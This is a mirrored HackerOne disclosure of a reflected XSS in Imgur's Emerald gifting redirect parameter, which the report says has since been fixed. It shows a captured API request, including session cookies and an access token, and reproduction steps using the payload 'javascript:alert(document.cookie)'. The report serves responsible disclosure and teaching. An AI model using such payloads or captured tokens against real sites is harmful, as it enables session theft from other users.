Skip to content
XSS Disclosed report Beginner

xss reflected on imgur.com

ferdihermawan1337 Follow

Originally disclosed on HackerOne

  • Triaged in 2 hours
  • Fixed in 12 months
  • Paid in 6 hours
  • Disclosed after 13 months

Steps to reproduce :

  • i log in to my account and navigate to see other profile
  • i intercept the request then click Give Emerald
Screenshot_2020-12-14_Imgur.png
Screenshot_2020-12-14_Imgur.png From the original on HackerOne

Request look like :

POST /account/v1/gifting/purchase?client_id=546c25a59c58ad7 HTTP/1.1
Host: api.imgur.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://imgur.com/user/hermawanferdi
Content-Type: application/json
Origin: https://imgur.com
Content-Length: 311
Connection: close
Cookie: postpagebeta=1; amplitude_id_f1fc2abcb6d136bd4ef338e7fc0b9d05imgur.com=eyJkZXZpY2VJZCI6ImM5YzdiYTIxLTAzMjgtNGJkZi05ZGQ2LTE4NDFmZTY2ZGI3Y1IiLCJ1c2VySWQiOiIxMTI1OTYxMzUiLCJvcHRPdXQiOmZhbHNlLCJzZXNzaW9uSWQiOjE2MDc5MjQxNTE0MDcsImxhc3RFdmVudFRpbWUiOjE2MDc5MjQ5NzA1ODQsImV2ZW50SWQiOjIwLCJpZGVudGlmeUlkIjozNiwic2VxdWVuY2VOdW1iZXIiOjU2fQ==; is_emerald=0; __qca=P0-164562980-1607924155407; is_authed=1; IMGURSESSION=6bc49554ae5b60f78f6928698819d0aa; SESSIONDATA=%7B%22sessionCount%22%3A1%2C%22sessionTime%22%3A1607924534647%7D; IMGURUIDJAFO=98a32f615768bd72bcfd89f450ea3f8c7a8b83db9647ade587ead48ace80048a; G_ENABLED_IDPS=google; authautologin=b63b9adee68e2e6ff10c0524995762d1%7EhtH5HkdxlstYng81Zq26XEEq7fv7IRra; accesstoken=095cd3db32693c0127c479dfda1fd563c776bdcd; _nc=1; postpagebetalogged=1; frontpagebetav2=1; pp=4807269994624293; fpb-roll=28.099570399611384; __asc=5812397c1765fc71d7f51cf98df; __auc=5812397c1765fc71d7f51cf98df; _ga=GA1.2.509004379.1607924653; _gid=GA1.2.206575419.1607924653; _fbp=fb.1.1607924654910.554323515

{"gifter_id":112596135,"recipient_id":136516779,"amount":1,"redirect_url":"https://imgur.com/emerald/give-emerald?username=hermawanferdi&redirect=https://imgur.com/user/hermawanferdi","source":"User profiler","source_url":"https://imgur.com/user/hermawanferdi","anonymous":true,"post_id":null,"comment_id":null}
  • i notice "redirect_url":"https://imgur.com/emerald/give-emerald?username=hermawanferdi&redirect=https://imgur.com/user/hermawanferdi"
  • i copy the url and change the redirect parameter
  • i change the redirect parameter with payload xss "javascript:alert(document.cookie)"
  • i open the url on browser
  • xss alert
Screenshot_from_2020-12-14_12-56-53.png
Screenshot_from_2020-12-14_12-56-53.png From the original on HackerOne

Impact

reflected xss / xss attack

The original report as published on HackerOne, by ferdihermawan1337. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A XSS bug in Imgur. HackerOne made it public on 22 January 2022.

About XSS

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by ferdihermawan1337

View all

2 more disclosed reports, best first.

More from Imgur

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.